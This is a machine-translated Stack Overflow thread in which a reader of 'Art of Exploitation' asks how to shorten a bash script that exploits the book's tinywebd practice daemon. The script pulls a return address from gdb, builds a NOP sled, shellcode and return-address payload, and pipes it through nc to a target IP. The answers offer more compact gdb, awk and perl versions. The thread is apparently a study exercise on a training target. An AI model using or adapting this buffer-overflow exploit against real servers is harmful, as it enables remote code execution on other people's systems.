【问题标题】:Can this bash script be more concise?这个 bash 脚本可以更简洁吗?
【发布时间】:2013-09-18 21:23:05
【问题描述】:

要点:这个脚本能不能更简洁一些?

所以我正在研究 Erickson 的 Art of Exploitation,他介绍了一种自动化工具的开发,以加快利用他的 tinywebserver 守护程序。

但是,在 Ubuntu 10.04 上,每次重新启动守护程序时,返回地址都会更改。我调整了脚本以自动从 GDB 获取返回地址。我以前从未编写过任何脚本,下面的脚本可以运行,但我想知道它是否可以更简洁,尤其是 GDB 行。

基本上,我启动守护进程,然后获取 pid。然后我自动运行 GDB 以获得正确的返回地址。这将保存到日志文件中。

我使用 cut 获取返回地址,使用 sed 分隔它,并使用 awk 为 shellcode 正确格式化。

其他一切都来自书中。

对 gdb 行和 cut/sed/awk 行有任何反馈吗?

感谢您的建议。

#!/bin/sh
# a tool for exploiting tinywebd

if [ -z "$2" ]; then  # if argument 2 is blank
   echo "Usage: $0 <shellcode file> <target IP>"
   exit
fi 

./tinywebd
pid=$(pidof tinywebd)

OFFSET=524  # changed to work on eve

#RETADDR="\xe4\x9a\xd2\xbf" # 
sudo gdb -q -pid=$pid --symbols=./tinywebd --batch -ex "break 86" 
--batch -ex "c"--batch -ex "set logging on gdblog" --batch -ex "x/x request+100"
--batch -ex "set logging off" --batch -ex "quit"

RETADDR=$(cut -d: -f1 gdblog | sed 's/\(.\{2\}\)/\1 /g' | 
awk '{ print "\\x"$5"\\x"$4"\\x"$3"\\x"$2}')
rm -f gdblog

echo "target IP: $2"
SIZE=`wc -c $1 | cut -f1 -d ' '`
echo "shellcode: $1 ($SIZE bytes)"
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE))

echo "[NOP ($ALIGNED_SLED_SIZE bytes)] [shellcode ($SIZE bytes)] [ret addr ($((4*32)) 
bytes)]"
( perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";
 cat $1;
 perl -e "print \"$RETADDR\"x32 . \"\r\n\"";) | nc -w 1 -v $2 80

【问题讨论】:

  • 您在sudo 行和下一行的末尾缺少反斜杠。报错时应exit 1;脚本没有成功。您可以使用wc -c &lt; $1SIZE 评估中避免cut
  • 如果您在管道中使用awk,您通常可以更优雅地在awk 脚本中包含grepcutsed 等较小工具的所有功能。
  • (perl; cat; perl) 组合可以替换为带有 BEGINEND 操作的单个 Perl 脚本,中间只有一个 print;
  • @jonathanleffler-tracking,我直接从脚本中复制粘贴,在脚本中是一行,为了便于阅读,这里分成多行,因此没有“/”。
  • @tripleee - 所以我的问题。这是我第一次提出我自己的 sed/awk 管道,这就是我要求一些反馈的原因。你能举一个例子来说明你把它们结合起来的意思吗?或者至少是一个很好的 awk 参考资料?

标签: security bash shell gdb


【解决方案1】:
cut -d: -f1 gdblog | sed 's/\(.\{2\}\)/\1 /g' | awk '{ print "\\x"$5"\\x"$4"\\x"$3"\\x"$2}'

似乎相当于perl one-liner:

perl -ple '$_=join"",map"\\x$_",(/(..)/g)[4,3,2,1]' gdblog

【讨论】:

  • 不确定它是否会改变任何东西,但这是 gdblog 文件中的内容。 0xbfff4567: 0x08041245 由数字组成,但这就是输出的样子。我只对 bfff4567 部分感兴趣,所以我把所有的东西都删掉了:,然后使用 sed 输入空格,然后 awk 反转并将地址的每个部分打印到以下 - \x67\x45\xff\xbf from the research i在写这篇文章之前,似乎 perl 是从 sed/awk 开发的。说您可以使用 perl 完全替换 sed/awk 是真的吗...?另外,你知道有什么好的 perl 参考手册吗?
  • Perl 借鉴了 sedawk ... 以及 Lisp、C 和 BASIC 以及许多其他地方的特性和想法。它比 Unix 上的传统文本处理脚本语言更加强大和复杂。谷歌充满了资源,但请尝试perl.org
  • 对于awk 替代方案,请尝试awk '{ for (i=9; i&gt;2; i-=2) printf("\\x%s", substr($1,i,2)) }' gdblog。它比 Perl 版本稍长,但恕我直言,更具可读性。
【解决方案2】:

gdb 行可以缩短:

sudo gdb -batch -ex "break 86" -ex c -ex "set logging on gdblog" -ex "x/x request+100" -ex quit ./tinywebd $pid
  • -batch 意味着 -q 并且只需要一次
  • 最后不需要“设置注销”
  • 可执行文件和 PID 可以不带选项指定

如果你的 awk 支持 FIELDWIDTHS 变量,我们可以很容易地不用 cut 和 sed:

RETADDR=$(awk -v FIELDWIDTHS="2 2 2 2 2" '{print "\\x"$5"\\x"$4"\\x"$3"\\x"$2}' gdblog) 

或者,即使没有:

RETADDR=$(awk '{gsub("..", "& "); print "\\x"$5"\\x"$4"\\x"$3"\\x"$2}' gdblog)

【讨论】:

    猜你喜欢
    • 2011-08-27
    • 1970-01-01
    • 2023-04-03
    • 1970-01-01
    • 2013-09-10
    • 2017-11-06
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多